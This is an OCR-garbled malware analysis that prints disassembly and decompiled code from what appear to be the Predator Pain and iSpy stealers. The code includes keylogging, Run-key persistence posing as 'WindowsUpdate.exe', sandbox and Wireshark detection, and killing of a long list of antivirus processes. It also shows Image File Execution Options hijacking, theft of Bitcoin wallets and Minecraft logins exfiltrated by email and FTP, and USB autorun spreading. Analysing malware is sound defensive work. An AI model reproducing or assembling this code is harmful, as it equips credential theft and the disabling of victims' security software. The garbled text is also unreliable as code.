d84BEBF3 call ds:DeleteFileld
G04BERF9 tesct eax, eax
G804 BESFE jz short loc_4BE9BB
AB4BESFD push MOVEFILE_DELAY _UNTIL_REBOOT ; dwFlags
B84 BEBFF push 8 ; lpHewFileHame
884 8E9 81 mov edx, [ebp+1pString]
A840E9 B4 push edx ; 1pExistingFileMame
a848E9 85 call ds:HoveFileExW
botkiller
(5)Keylogger
B84 06EFS push ecx ; 1pString
B84 86EF 6 push 8 ; uMapType
AB4BGEFB mousx edx, [ebp+var_638]
04 a6EFF push edx ; uCode
a84a6F 80 call ds :MapUirtualKeyW
B84 86F 86 shl eax, 18h
a4 daF g9 push eax ; 1Param
04 daF 8A call ds:GetKeyHameTextl
A84B6F18 1lea eax, [ebp+itr]
A84B86F16 push eax ; Str

aayaaF17 call wcslen









Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles

(20) 10 FTP FTP USER
PASS C&C
8048378E mowy [ebp+5tr], U’
a8483792 mow [ebp+var_33], 'S°
88483796 mow [ebp+var_32], 'E°
88483798 mow [ebp+var_31], 'R’
8848379E mou [ebp+var_38], " °
g04837n2 mou [ebp+var_2F], @
g04837A6 1ea ecx, [ebp+3tr]
aa4a37Ae push BeCX ; Str
g84837AA mou edx, [ebp+arg_u]
8a4837aD push edx ; int
RS HBAW T .
A8483854 mov [ebp+var_ 48], "P°
A840385E mov [ebp+var_ 3F], "A°
A8493862 mov [ebp+var 3E], "5
A040838B66 mov [ebp+var_3D], "5°
A8408386A mov [ebp+var_3C], " °
Ba4B386E mowv [ebp+var_3E], @
aaup3872 1lea ecx, [ebp+var_ud]
a0y Aa3875 push BCX ; Str
Ba4B3876 mowv edx, [ebp+arg_u]
Ba483879 push edx ; int
AB40387A call sub 4890298

ftp//%s:%s@ %s:%d FTP C&C






FileSystem.FileCopy(Application.ExecutablePath, Environment.GetFolderPath(Environment.Specialfelder.ApplicationData) + "\\WindowsUpdate.exe");
RegistryKey currentUser = Registry.CurrentUser;
RegistryKey registryKey = currentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);

registrykey.SetValue{"Windows Update”, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\WindowsUpdate.exe", RegistryValueKind.String);

®)

new

A 5 T LK) v SASE SR . N ‘ —= FMu
AU AU A,
this.Claz
his.<eylog, t
s
= (Operators.Comparestring(this.Screeny, (105 , false) 1= @); flag
lag) if (f
d
ool flag2 = !Directory.Exists(Path.GetTempPath() + }s b
f (flag2) i
{
Directory.CreateDirectory(Path.GetTempPath() + )}
b
ize blockRegionSize = new Size(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); 5
. ) - SO new REEEET O - . s >3 . . . ) o2 ° . S
,‘- - &gl
i . B S s & 2o C T «
2. iSpy
Q) sandboxie wireshark wpe
private static bool DetectSandboxie()
return Services.AntiDebugger.GetModuleHandle("ShieD1l.d11").ToInt32() != @;
}
private static bool DetectSniffers()
Services.AntiDebugger.processList = Process.GetProcesses();
Process[] array = Services.AntiDebugger.processList;
{
bool result;
for (int i = @; i < array.Length; i++)
Process process = array[i];
bool flag = process.MainWindowTitle.Equals(“The Wireshark Network Analyzer™) || process.MainWindowTitle.Equals("WPE PRO™);

if (flag)
{

result = true;

return result;
1
1
1
I

result = false;
return result;

©) AV



©)

(4)

Killav.FuckFileName("rstrui.exe™);
Killav.FuckFileName("AvastSvc.exe™);
Killav.FuckFileName( "avconfig.exe™);
killav.FuckFileName( "AvastUL.exe™);
Killav.FuckFileName("avscan.exe");
Killav.FuckFileName("instup.exe™);
Killav.FuckFileName( "mbam.exe™);
Killav.FuckFileName( "mbamgui.exe™);
Killav.FuckFileName( "mbampt.exe™);
Killav.FuckFileName( "mbamscheduler.exe™);
Killav.FuckFileName( "mbamservice.exe™);
kKillaw.FuckFileName("hijackthis.exe™);
kKillav.FuckFileName( " spybotsd.exe™);
Killav.FuckFileName("ccuac.exe");
Killav.FuckFileName("avcenter.exe™);
Killav.FuckFileName("avguard.exe™);
Killav.FuckFileName("avgnt.exe");
Killav.FuckFileName( "avgui.exe");
Killav.FuckFileName( "avgcsrvx.exe™);
kKillav.FuckFileName( "avgidsagent.exe");
killav.FuckFileName( "avgrs=x.exe™);
Killav.FuckFileName("avgwdsvc.exe™);
Killav.FuckFileName("egui.exe™);
Killav.FuckFileName("zlclient.exe™);
Killav.FuckFileName("bdagent.exe™);
Killav.FuckFileName("keyscrambler.exe™);
Killav.FuckFileName( "avp.exe™);
Killav.FuckFileName( "wireshark.exe");
Killav.FuckFileName( "ComboFix.exe™);
killav. FuckFileName( "MSASCui.exe™);
Killav.FuckFileName( "MpCmdRun.exe™);
Killav.FuckFileName( "msseces.exe™);

(

Killav.FuckFileName( "MsMpEng.exe™);
1

RegistryKey registryKey = Registry.LecalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options”, true);
registryKey.CreateSubKey(input);

registryKey.Close();

RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Executien Options\\" + input, true);
registryKey2.SetValue( Debugger”, "rundll32.exe”);

SecurityIdentifier securityldentifier = new SecurityIdentifier(WellKnownSidType.WorldSid, null);

NTAccount identity = securityIdentifier.Translate(typeof(NTAccount)) as NTAccount;

RegistrySecurity registrySecurity = new RegistrySecurity();

registrySecurity.AddAccessRule(new RegistryAccessRule(identity, RegistryRights.ExecuteKey, InheritanceFlags.lone, PropagatienFlags.Nene, AccessControlType.Allc
registrySecurity.AddAccessRule(new RegistryAccessRule(identity, RegistryRights.SetValue | RegistryRights.CreateSubKey | RegistryRights.Delete | RegistryRights.
registryKey2.SetAccessControl (registrySecurity);

registrykey2.Close();

.Net
IP IP

public static string GetInformation()

{
string text = string.Empty;
try

text += "\rin\r\n\p\pFEEEEEeEEEE computer Information FFEEEEEREEE, Yy
text = text + "Username: * + MyProject.Computer.Name + “\rin";

text = text + "Windows Installed: " + MyProject.Computer.Info.0SFullName + "\rin";

text = text + "Local Date & Time: " + Conversions.ToString(MyProject.Computer.Clock.LocalTime) + "\rin";
text = text + "Installed Language: ™ + MyProject.Computer.Info.InstalledUICulture.ToString() + "\r\n";
text = text + ".NET Framework Installed: " + ComputerInformation.GetFramework() + "\rin";

text = text + "System Privileges: " + ComputerInformation.GetRole() + "\rin";

text = text + "Default Browser: " + ComputerInformation.GetBrowser() + "\rin";

text = text + "Installed Anti-Virus: " 4 ComputerInformation.GetAntiVirus() + "\rin";

text = text + "Installed Firewall: " + ComputerInformation.GetFirewall() + “\rin";

text = text + "Internal IP: " + ComputerInformation.GetInternalIP() + “\r'n";

text = text + "External IP: " + ComputerInformation.GetExternalIP() + “\rin";

text += "FFFFEExEEE*Er Computer Information ***FF******\pr\n\r\n";

rateh (Fwrantinn evne 1474



(5) FTP

(6)






if (File.Exists(Path.GetTempPath() + “"wallet.dat"))

{
try
{
MailMessage mailMessage = new MailMessage();
smtpClient smtpClient = new SmtpClient(this.smtpstring);
mailMessage.From = new MailAddress(this.emailstring);
mailMessage.To.Add(this.emailstring);
mailMessage.Subject = “"Pain File Stealer Bitcoin Stealer - [ + MyProject.Computer.Name + "]";
Staale +ha Walla c

mailMeazzama Rodu o

~ Add’ newATTacment.

3) minecraft

if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + “\\.minecraft\\lastlogin®))

try
1
MailMessage mailMessage = new MailMessage();
SmtpClient smtpClient = new SmtpClient(this.smtpstring);
mailMessage.From = new MailAddress(this.emailstring);
mailMessage.To.Add(this.emailstring);
mailMessage.Subject = "Predator Pain v13|Minecraft Stealer - [" + MyProject.Computer.Name + "]";

maildessage.Body = "There is a file attached to this email containing Minecraft username and password download it then decrypt the login information with
mailMessage. Attachments.Add(new Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\.minecraft\\lastlogin"));
o e e s ey ;

1 — ! 1 "I'r false ]

oW . B EA. T otE I, B Em L5 IS Gy

(4)

if (driveInfo.DriveType == DriveType.Removable)

{
using (StreamWriter streamWriter = new StreamWriter(driveInfo.Name + “autorun.inf")})
streamiriter.WriteLine("[autorun]™);
streamWriter.WriteLine("open=Sys.exe");
streamiriter.Writeline("action=Run win32");
streamiriter.Close();
File.Copy(Application.ExecutablePath, driveInfo.Name + "Sys.exe", true);
File.SetAttributes(driveInfo.Name + "autorun.inf”, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
File.SetAttributes(driveInfo.Name + "Sys.exe", FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
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MailMessage mailMessage = new MailMessage();
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